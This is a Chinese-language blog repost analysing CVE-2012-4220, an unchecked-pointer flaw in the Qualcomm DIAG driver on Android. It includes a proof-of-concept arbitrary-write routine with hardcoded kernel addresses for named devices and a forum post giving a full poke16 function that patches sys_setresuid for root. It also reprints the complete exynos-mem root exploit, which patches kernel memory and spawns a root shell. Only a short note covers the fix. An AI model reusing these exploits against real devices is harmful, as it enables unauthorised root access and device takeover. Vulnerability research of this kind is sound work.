Android exploit with a Qualcomm processor (CVE-2012-4220)

/*

本文章由 莫灰灰 编写,转载请注明出处。  

作者:莫灰灰    邮箱: [email protected]

*/

1. 漏洞描述

在处理DIAG设备的ioctl系统调用参数时,一些未经验证的引用自用户层的不可信指针被使用了。对于本地安装的应用程序来说,可以使用这个漏洞来实施拒绝服务攻击,或者在内核下执行任意代码。


2. 漏洞分析

[cpp] view plain copy
  1. else if (iocmd == DIAG_IOCTL_GET_DELAYED_RSP_ID) {  
  2.     struct diagpkt_delay_params *delay_params =  
  3.                 (struct diagpkt_delay_params *) ioarg;  
  4.     if ((delay_params->rsp_ptr) &&  
  5.      (delay_params->size == sizeof(delayed_rsp_id)) &&  
  6.              (delay_params->num_bytes_ptr)) {  
  7.         *((uint16_t *)delay_params->rsp_ptr) =  
  8.             DIAGPKT_NEXT_DELAYED_RSP_ID(delayed_rsp_id);  
  9.         *(delay_params->num_bytes_ptr) = sizeof(delayed_rsp_id);  
从上面的代码中可以看出,DIAG驱动在处理DIAG_IOCTL_GET_DELAYED_RSP_ID未对用户层传下来的参数做任何的校验就直接使用了,那么最简单的攻击就是内核拒绝服务攻击了,即把delay_params->rsp_ptr写成一个无效的地址。那么,这个漏洞显然可以有更高级的利用方法。

*((uint16_t *)delay_params->rsp_ptr) = DIAGPKT_NEXT_DELAYED_RSP_ID(delayed_rsp_id); 这个赋值操作,可以修改delay_params->rsp_ptr的值,DIAGPKT_NEXT_DELAYED_RSP_ID宏的代码如下:

[cpp] view plain copy
  1. #define DIAGPKT_MAX_DELAYED_RSP 0xFFFF  
  2.   
  3. #define DIAGPKT_NEXT_DELAYED_RSP_ID(x)         \  
  4. ((x < DIAGPKT_MAX_DELAYED_RSP) ? x++ : DIAGPKT_MAX_DELAYED_RSP)  
每调用一次DIAGPKT_NEXT_DELAYED_RSP_ID宏,那么全局变量delayed_rsp_id都会+1,最后等于ushort的最大值,即0xFFFF就不再+1了。


如何利用:

知道了原理之后,那么其实我们每一次ioctl调用可以修改2个字节。

1.通过ioctl得到当前delayed_rsp_id的值

2.如果delayed_rsp_id的值大于我们需要的值,那么通过*(delay_params->num_bytes_ptr) = sizeof(delayed_rsp_id);把delayed_rsp_id重置为2(delayed_rsp_id的地址需要硬编码得到)

3.之后得到loop的次数,loop_count = (data_we_want - delayed_rsp_id_value) & 0xffff;

4.最后将delay_params->rsp_ptr地址里面的值修改为我们需要的值,从而达到任意地址修改的目的

5.如果是修改4字节的函数地址,那么可以分两次来修改


3.PoC

[cpp] view plain copy
  1. static bool  
  2. inject_value(struct diag_values *data,  
  3.              int fd, void *delayed_rsp_id_address)  
  4. {  
  5.   uint16_t delayed_rsp_id_value = 0;  
  6.   int i, loop_count, ret;  
  7.   
  8.   // 通过ioctl调用,得到当前delayed_rsp_id的值  
  9.   ret = get_current_delayed_rsp_id(fd);  
  10.   if (ret < 0) {  
  11.     return false;  
  12.   }  
  13.   delayed_rsp_id_value = ret;  
  14.   data->original_value = delayed_rsp_id_value;  
  15.   
  16.   // 如果delayed_rsp_id的值比我们需要的大,那么重置它  
  17.   // 其中delayed_rsp_id_address的地址是硬编码取得  
  18.   if (delayed_rsp_id_value > data->value &&  
  19.     reset_delayed_rsp_id(fd, delayed_rsp_id_address) < 0) {  
  20.     return false;  
  21.   }  
  22.   
  23.   // 得到循环次数  
  24.   loop_count = (data->value - delayed_rsp_id_value) & 0xffff;  
  25.   
  26.   // 利用delayed_rsp_id的值每调用一次+1的特性,修改为我们需要的值  
  27.   for (i = 0; i < loop_count; i++) {  
  28.     int unused;  
  29.     if (send_delay_params(fd, (void *)data->address, &unused) < 0) {  
  30.       return false;  
  31.     }  
  32.   }  
  33.   return true;  
  34. }  

delayed_rsp_id_address的硬编码地址如下:

[cpp] view plain copy
  1. static supported_device supported_devices[] = {  
  2.   { DEVICE_F03D_V24R33Cc,     0xc0777dd0 },  
  3.   { DEVICE_F11D_V21R36A,      0xc092f1a4 },  
  4.   { DEVICE_F11D_V24R40A,      0xc091bf8c },  
  5.   { DEVICE_F11D_V26R42B,      0xc091bf8c },  
  6.   { DEVICE_F12C_V21,          0xc075aca4 },  
  7.   { DEVICE_IS17SH_01_00_03,   0xc0a546fc },  
  8.   { DEVICE_IS11N_GRJ90,       0xc0835758 },  
  9.   { DEVICE_ISW11K_145_0_0002, 0xc07f93a4 },  
  10.   { DEVICE_SC01E_LJ3,         0xc0bdfae0 },  
  11.   { DEVICE_SC05D_LPL,         0xc0cb0924 },  
  12.   { DEVICE_SCL21_LJD,         0xc0b96128 },  
  13.   { DEVICE_SO05D_7_0_D_1_117, 0xc0b8840c },  
  14.   { DEVICE_ISW12K_010_0_3000, 0xc0935104 },  
  15. };  



4.漏洞修复

使用copy_from_user和copy_to_user函数保证用户层传入参数的正确性,而不是直接使用。

Android exploit with a Qualcomm processor (CVE-2012-4220)_第1张图片


参考文章:https://www.codeaurora.org/projects/security-advisories/multiple-issues-diagkgsl-system-call-handling-cve-2012-4220-cve-2012


转: http://bbs.pediy.com/showthread.php?t=161590

CVE-2012-4220之利用


去年年底高通的漏洞,应该影响了很多机器。
有问题的代码片段:
include/linux/diagchar.h

代码:
..
#define DIAG_IOCTL_GET_DELAYED_RSP_ID   8
...
struct diagpkt_delay_params{
  void *rsp_ptr;
  int size;
  int *num_bytes_ptr;
};
...
driver/char/diag/diagchar_core.c
代码:
...
/* delayed_rsp_id 0 represents no delay in the response. Any other number
    means that the diag packet has a delayed response. */
static uint16_t delayed_rsp_id = 1;
#define DIAGPKT_MAX_DELAYED_RSP 0xFFFF
/* This macro gets the next delayed respose id. Once it reaches
 DIAGPKT_MAX_DELAYED_RSP, it stays at DIAGPKT_MAX_DELAYED_RSP */

#define DIAGPKT_NEXT_DELAYED_RSP_ID(x)         \
((x < DIAGPKT_MAX_DELAYED_RSP) ? x++ : DIAGPKT_MAX_DELAYED_RSP)
...
  } else if (iocmd == DIAG_IOCTL_GET_DELAYED_RSP_ID) {
    struct diagpkt_delay_params *delay_params =
          (struct diagpkt_delay_params *) ioarg;

    if ((delay_params->rsp_ptr) &&
     (delay_params->size == sizeof(delayed_rsp_id)) &&
         (delay_params->num_bytes_ptr)) {
      *((uint16_t *)delay_params->rsp_ptr) =
        DIAGPKT_NEXT_DELAYED_RSP_ID(delayed_rsp_id);
      *(delay_params->num_bytes_ptr) = sizeof(delayed_rsp_id);
      success = 0;
    }
...
rsp_ptr和num_bytes_ptr都未检查,可以使用任意值。于是可以这样写个poke16函数,修改任意地址内容的值。
代码:
static int poke16(int fd, void *magic, void *addr, uint16_t val) {
  int ret, num;
  uint16_t rsp, loop;
  struct diagpkt_delay_params p;

    LOGD("%s:%d: enter.", __func__, __LINE__);
    LOGD("%s:%d %d %p %p 0x%04x", __func__, __LINE__, fd, magic, addr, val);
    // orz
    if (val < 3) {
        LOGD("%s:%d: val < 3 is not supported.", __func__, __LINE__);
        return -1;
    }
    // delayed_rsp_id will ++ after every call
  p.rsp_ptr = &rsp;
  p.size = sizeof(rsp);
  p.num_bytes_ptr = &num;
  ret = ioctl(fd, DIAG_IOCTL_GET_DELAYED_RSP_ID, &p);
    if (ret < 0) {
    perror("ioctl");
    LOGE("%s:%d: ioctl() failed, %s.", __func__, __LINE__, strerror(errno));
    return -1;
    }
    rsp += 1;
    LOGD("%s:%d: delayed_rsp_id = %04x, val = %04x", __func__, __LINE__, rsp, val);
    if (rsp > val) {
        // make delayed_rsp_id = 2
      p.rsp_ptr = &rsp;
      p.size = sizeof(rsp);
      p.num_bytes_ptr = magic;
      ret = ioctl(fd, DIAG_IOCTL_GET_DELAYED_RSP_ID, &p);
        if (ret < 0) {
        perror("ioctl");
        LOGE("%s:%d: ioctl() failed, %s.", __func__, __LINE__, strerror(errno));
        return -1;
        }
        //
        rsp = 2;
    }
    // loop
    loop = val - rsp;
    LOGD("%s:%d: loop = %04x", __func__, __LINE__, loop);
    while (loop--) {
        p.rsp_ptr = &rsp;
        p.size = sizeof(rsp);
        p.num_bytes_ptr = &num;
        ret = ioctl(fd, DIAG_IOCTL_GET_DELAYED_RSP_ID, &p);
        if (ret < 0) {
          perror("ioctl");
          LOGE("%s:%d: ioctl() failed, %s.", __func__, __LINE__, strerror(errno));
          return -1;
        }        
    }
    // delayed_rsp_id should be val now
  p.rsp_ptr = addr;
  p.size = sizeof(rsp);
  p.num_bytes_ptr = &num;
  ret = ioctl(fd, DIAG_IOCTL_GET_DELAYED_RSP_ID, &p);
  if (ret < 0) {
    perror("ioctl");
    LOGE("%s:%d: ioctl() failed, %s.", __func__, __LINE__, strerror(errno));
    return -1;
  }
    LOGD("%s:%d leave.", __func__, __LINE__);
  return 0;
}
已经用MT25i测试通过了,版本4.1.B.0.479,delayed_resp_id的地址是0x8077e958,然后我直接补丁了sys_setresuid和sys_setresgid,poke16(0x800eab5f,0x01eb)和poke16(0x800eaf2f,0x01eb),这样任意用户都可以用setresuid提升权限。总的来说这个漏洞利用起来比较麻烦。。。不知大家有没有更好的方法?

一般都是在sys_setresuid和sys_setresgid这些内核符号上爆破,后边应用层直接调用setresuid...
这些内核导出符号一般都要搜索/proc/kallsyms

看看samsung GS3等exynos CPU之前的漏洞利用源码

/*
 * exynos-mem device abuse by alephzain
 *
 * /dev/exynos-mem is present on GS3/GS2/GN2/MEIZU MX
 *
 * the device is R/W by all users :
 * crw-rw-rw-  1 system graphics  1, 14 Dec 13 20:24 /dev/exynos-mem
 *
 */

/*
 * Abuse it for root shell
 */
#include <stdio.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <stdbool.h>

#define PAGE_OFFSET 0xC0000000
#define PHYS_OFFSET 0x40000000

int main(int argc, char **argv, char **env) {
  int fd, i, m, index, result;

  unsigned long *paddr = NULL;
    unsigned long *tmp = NULL;
    unsigned long *restore_ptr_fmt = NULL;
    unsigned long *restore_ptr_setresuid = NULL;
    unsigned long addr_sym;

  int page_size = sysconf(_SC_PAGE_SIZE);
    int length = page_size * page_size;

    /* for root shell */
    char *cmd[2];
    cmd[0] = "/system/bin/sh";
    cmd[1] = NULL;

    /* /proc/kallsyms parsing */
    FILE *kallsyms = NULL;
    char line [512];
    char *ptr;
    char *str;

    bool found = false;

    /* open the door */
  fd = open("/dev/exynos-mem", O_RDWR);
  if (fd == -1) {
    printf("[!] Error opening /dev/exynos-mem\n");
    exit(1);
  }

    /* kernel reside at the start of physical memory, so take some Mb */
    paddr = (unsigned long *)mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_SHARED, fd, PHYS_OFFSET);
    tmp = paddr;
    if (paddr == MAP_FAILED) {
        printf("[!] Error mmap: %s|%08X\n",strerror(errno), i);
        exit(1);
    }

    /*
     * search the format string "%pK %c %s\n" in memory
     * and replace "%pK" by "%p" to force display kernel
     * symbols pointer
     */
    for(m = 0; m < length; m += 4) {
        if(*(unsigned long *)tmp == 0x204b7025 && *(unsigned long *)(tmp+1) == 0x25206325 && *(unsigned long *)(tmp+2) == 0x00000a73 ) {
            printf("[*] s_show->seq_printf format string found at: 0x%08X\n", PAGE_OFFSET + m);
            restore_ptr_fmt = tmp;
            *(unsigned long*)tmp = 0x20207025;
            found = true;
            break;
        }
        tmp++;
    }

    if (found == false) {
        printf("[!] s_show->seq_printf format string not found\n");
        exit(1);
    }

    found = false;

    /* kallsyms now display symbols address */       
    kallsyms = fopen("/proc/kallsyms", "r");
    if (kallsyms == NULL) {
        printf("[!] kallsysms error: %s\n", strerror(errno));
        exit(1);
    }

    /* parse /proc/kallsyms to find sys_setresuid address */
    while((ptr = fgets(line, 512, kallsyms))) {
        str = strtok(ptr, " ");
        addr_sym = strtoul(str, NULL, 16);
        index = 1;
        while(str) {
            str = strtok(NULL, " ");
            index++;
            if (index == 3) {
                if (strncmp("sys_setresuid\n", str, 14) == 0) {
                    printf("[*] sys_setresuid found at 0x%08X\n",addr_sym);
                    found = true;
                }
                break;
            }
        }
        if (found) {
            tmp = paddr;
            tmp += (addr_sym - PAGE_OFFSET) >> 2;
            for(m = 0; m < 128; m += 4) {
                if (*(unsigned long *)tmp == 0xe3500000) {
                    printf("[*] patching sys_setresuid at 0x%08X\n",addr_sym+m);
                    restore_ptr_setresuid = tmp;
                    *(unsigned long *)tmp = 0xe3500001;
                    break;
                }
                tmp++;
            }
            break;
        }
    }

    fclose(kallsyms);

    /* to be sure memory is updated */
    usleep(100000);

    /* ask for root */
    result = setresuid(0, 0, 0);

    /* restore memory */
    *(unsigned long *)restore_ptr_fmt = 0x204b7025;
    *(unsigned long *)restore_ptr_setresuid = 0xe3500000;
    munmap(paddr, length);
    close(fd);

    if (result) {
        printf("[!] set user root failed: %s\n", strerror(errno));
        exit(1);
    }

    /* execute a root shell */
    execve (cmd[0], cmd, env);

  return 0;
}


你可能感兴趣的:(Android exploit with a Qualcomm processor (CVE-2012-4220))